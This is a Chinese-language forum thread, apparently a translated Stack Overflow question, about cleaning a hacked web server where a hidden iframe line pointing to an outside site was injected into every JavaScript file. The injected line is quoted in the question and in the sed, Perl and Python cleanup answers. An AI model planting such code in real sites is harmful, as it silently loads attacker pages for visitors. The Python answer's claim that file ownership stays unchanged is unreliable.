最佳脚本用于修改服务器文件内容

2 投票
4 回答
2074 浏览
提问于 2025-04-16 19:04

问题:
我有一个网络服务器,最近被黑客攻击了。他们专门针对我的javascript文件,往每个.js文件的顶部都插入了以下代码:

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

这段代码被添加到了服务器上每一个.js文件的最上面。

解决方案:
我需要写一个脚本,打开我服务器上的每个javascript文件,检查里面是否有恶意代码,删除这些恶意代码,然后保存文件。

提问:
这个脚本应该用什么编程语言来写呢?用python可以吗?我服务器上运行的是python 2.4.3。如果我在root权限下运行这个python脚本,会不会不小心改变修改后文件的拥有者权限呢?

谢谢

4 个回答

2

Bash可能是最简单的选择。代码可能像这样:

bad_code="document\\.write('<iframe src=\"http:\\/\\/lcbmc\\.co\\.uk\\/showthread\\.php?t=31540750\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>')"
find /var/www -name "*.js" -print0 | xargs --null sed -i.bak "/${bad_code}/d"

这段代码会删除所有包含完全相同代码的整行。

编辑: 引号的问题现在已经修复了。

5
sed -i '1d;' *.js

这个方法很简单,可以从每个JavaScript文件中删除第一行。

你可以用Python做得更彻底,但你说的是每个*.js文件的第一行,对吧?

更好的是,你可以考虑用Perl。

Python也可以做到,但用Python写的解决方案不会是简单的一行代码,而对于这种情况,快速且简单的一行代码才是你想要的。

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

如果你在命令行运行这个,它会匹配任何以document开头并包含lcbmc的行(包括换行符\n),并完全删除这一行。请注意,i.bak会创建一个备份文件.bak,建议你保留这个备份,因为你可能会“搞砸”。

之后只需运行

rm -v *.js.bak

更新

根据评论,我建议在*.js文件所在的目录中运行Perl脚本,或者使用find命令。

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

这个命令会:
1. 如果你指定了正确的路径
2. 在找到的文件({})上执行Perl的一行代码。
3. 转义符号; (\;)用于将命令连接在一起,
4. 所以它会执行

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

等等……某些版本的find支持+,你可以在以下问题中观察到它的行为:find \; VS +

注意:你可以使用多个路径与find命令。

find /var/www/*.js /home/eric/.apache/*.js

这个命令会在/var/www/文件夹和~/.apache文件夹中查找所有*.js文件。

4

这个脚本应该用什么编程语言写呢?

其实没什么太大关系。

用Python可以吗?

可以的。

如果我在根用户下运行一个Python脚本,是否需要担心不小心改变了修改文件的所有者权限?

不需要担心,不会是“意外”的。只有在你写代码写得很糟糕的情况下,才可能会改变它们。


import os
import shutil
for path, dirs, files in os.walk( "some/root/dir" ):
    for f in files:
        name, ext = os.path.splitext( f )
        if ext == '.js':
            js= os.path.join( path, f )
            bak= js+"#"
            os.rename( js, bak )
            with open(bak,"r") as source:
                with open(js,"w") as target:
                    for line in source:
                        if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                            continue
                        target.write( line )

像这样的代码应该(大致上)可以工作。

如果你需要设置权限或所有权,可以使用os模块中的一些函数来适当地设置文件的用户、组和权限。

撰写回答